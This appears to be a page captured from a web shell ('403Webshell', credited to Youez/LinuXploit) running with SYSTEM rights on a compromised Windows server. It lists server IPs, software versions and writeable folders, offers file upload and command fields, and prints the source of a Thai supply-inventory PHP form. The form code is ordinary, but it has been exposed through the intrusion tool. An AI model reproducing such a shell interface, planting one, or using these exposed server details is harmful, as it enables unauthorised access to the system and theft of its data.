403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/supply_system/supplies/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/supply_system/supplies/supply_add.php
<?php
include_once __DIR__ . '/../config.php';
include_once __DIR__ . '/../functions.php';
include_once __DIR__ . '/../includes/auth_check.php';
// requireRole(['admin', 'supply_manager']); // กำหนดสิทธิ์ถ้าต้องการ

$page_title = "เพิ่มรายการพัสดุใหม่";
$last_supply_code = ''; // Initialize variable for the last code
$next_supply_code = 'S0001'; // Default next code if none exist

// --- ดึงข้อมูลหมวดหมู่ (Categories) ---
$categories = [];
$sql_cat = "SELECT id, category_name FROM categories WHERE status = 'active' ORDER BY category_name ASC";
$result_cat = mysqli_query($conn, $sql_cat);
if ($result_cat) {
    while ($row = mysqli_fetch_assoc($result_cat)) {
        $categories[] = $row;
    }
    mysqli_free_result($result_cat);
}

// --- ดึงรหัสพัสดุล่าสุด และคำนวณรหัสถัดไป ---
$sql_last_code = "SELECT MAX(supply_code) AS last_code FROM supplies";
$result_last_code = mysqli_query($conn, $sql_last_code);
if ($result_last_code && mysqli_num_rows($result_last_code) > 0) {
    $row_last_code = mysqli_fetch_assoc($result_last_code);
    if ($row_last_code['last_code']) {
        $last_supply_code = $row_last_code['last_code'];

        // --- Logic to generate the next code (assuming format like S0001) ---
        // Extract prefix (non-numeric part) and number part
        preg_match('/^([a-zA-Z]*)(\d+)$/', $last_supply_code, $matches);

        if (count($matches) === 3) {
            $prefix = $matches[1]; // e.g., 'S'
            $number_part = $matches[2]; // e.g., '0230'
            $number_length = strlen($number_part); // e.g., 4

            // Increment the number
            $next_number = intval($number_part) + 1;

            // Format the next number with leading zeros
            $next_supply_code = $prefix . str_pad($next_number, $number_length, '0', STR_PAD_LEFT);
        } else {
             // If format doesn't match, maybe just append '1' or keep default
             // For simplicity, we'll keep the default 'S0001' if the last code format is unexpected
             $next_supply_code = 'S0001'; // Or consider $last_supply_code . '-1' etc.
        }
    }
    mysqli_free_result($result_last_code);
}

mysqli_close($conn);

// --- Include Header and Sidebar ---
include_once __DIR__ . '/../includes/header.php';
include_once __DIR__ . '/../includes/sidebar_supply.php';
?>

<div class="container-fluid">
    <h1 class="mt-4"><?php echo $page_title; ?></h1>

    <div class="card mb-4">
        <div class="card-header">
            <i class="bi bi-journal-plus me-1"></i>
            กรอกข้อมูลพัสดุใหม่
        </div>
        <div class="card-body">
            <?php if (!empty($last_supply_code)): ?>
                <div class="alert alert-info py-2" role="alert">
                  <i class="bi bi-info-circle"></i> รหัสพัสดุล่าสุดในระบบคือ: <strong><?php echo htmlspecialchars($last_supply_code); ?></strong>
                </div>
            <?php endif; ?>

            <form action="action_supply_save.php" method="POST">
                <div class="row g-3">
                    <div class="col-md-4">
                        <label for="supply_code" class="form-label required-field">รหัสพัสดุ</label>
                        <input type="text" class="form-control" id="supply_code" name="supply_code" maxlength="20"
                               value="<?php echo htmlspecialchars($next_supply_code); ?>" required autofocus> <small class="text-muted">เช่น S0001, COMP001 (ต้องไม่ซ้ำ)</small>
                    </div>
                    <div class="col-md-8">
                        <label for="supply_name" class="form-label required-field">ชื่อพัสดุ</label>
                        <input type="text" class="form-control" id="supply_name" name="supply_name" maxlength="250" required>
                    </div>
                    <div class="col-md-6">
                        <label for="category_id" class="form-label required-field">หมวดหมู่</label>
                        <select class="form-select" id="category_id" name="category_id" required>
                            <option value="">-- เลือกหมวดหมู่ --</option>
                            <?php foreach ($categories as $category): ?>
                                <option value="<?php echo $category['id']; ?>">
                                    <?php echo htmlspecialchars($category['category_name']); ?>
                                </option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                    <div class="col-md-3">
                        <label for="unit" class="form-label required-field">หน่วยนับ</label>
                        <input type="text" class="form-control" id="unit" name="unit" maxlength="20" required>
                        <small class="text-muted">เช่น รีม, กล่อง, อัน, ชุด</small>
                    </div>
                     <div class="col-md-3">
                        <label for="min_stock_level" class="form-label">จุดสั่งซื้อขั้นต่ำ</label>
                        <input type="number" class="form-control" id="min_stock_level" name="min_stock_level" min="0" step="1" value="0">
                        <small class="text-muted">ระบบจะแจ้งเตือนเมื่อต่ำกว่าค่านี้ (ใส่ 0 ถ้าไม่ต้องการ)</small>
                    </div>
                     <div class="col-12">
                        <label for="description" class="form-label">คำอธิบายเพิ่มเติม</label>
                        <textarea class="form-control" id="description" name="description" rows="3"></textarea>
                    </div>

                     <div class="col-12 mt-4">
                         <button type="submit" class="btn btn-primary"><i class="bi bi-save me-1"></i> บันทึกรายการพัสดุ</button>
                         <a href="index.php" class="btn btn-secondary">ยกเลิก</a>
                     </div>
                </div>
            </form>
        </div>
    </div>
</div>

<?php
// --- Include Footer ---
include_once __DIR__ . '/../includes/footer.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit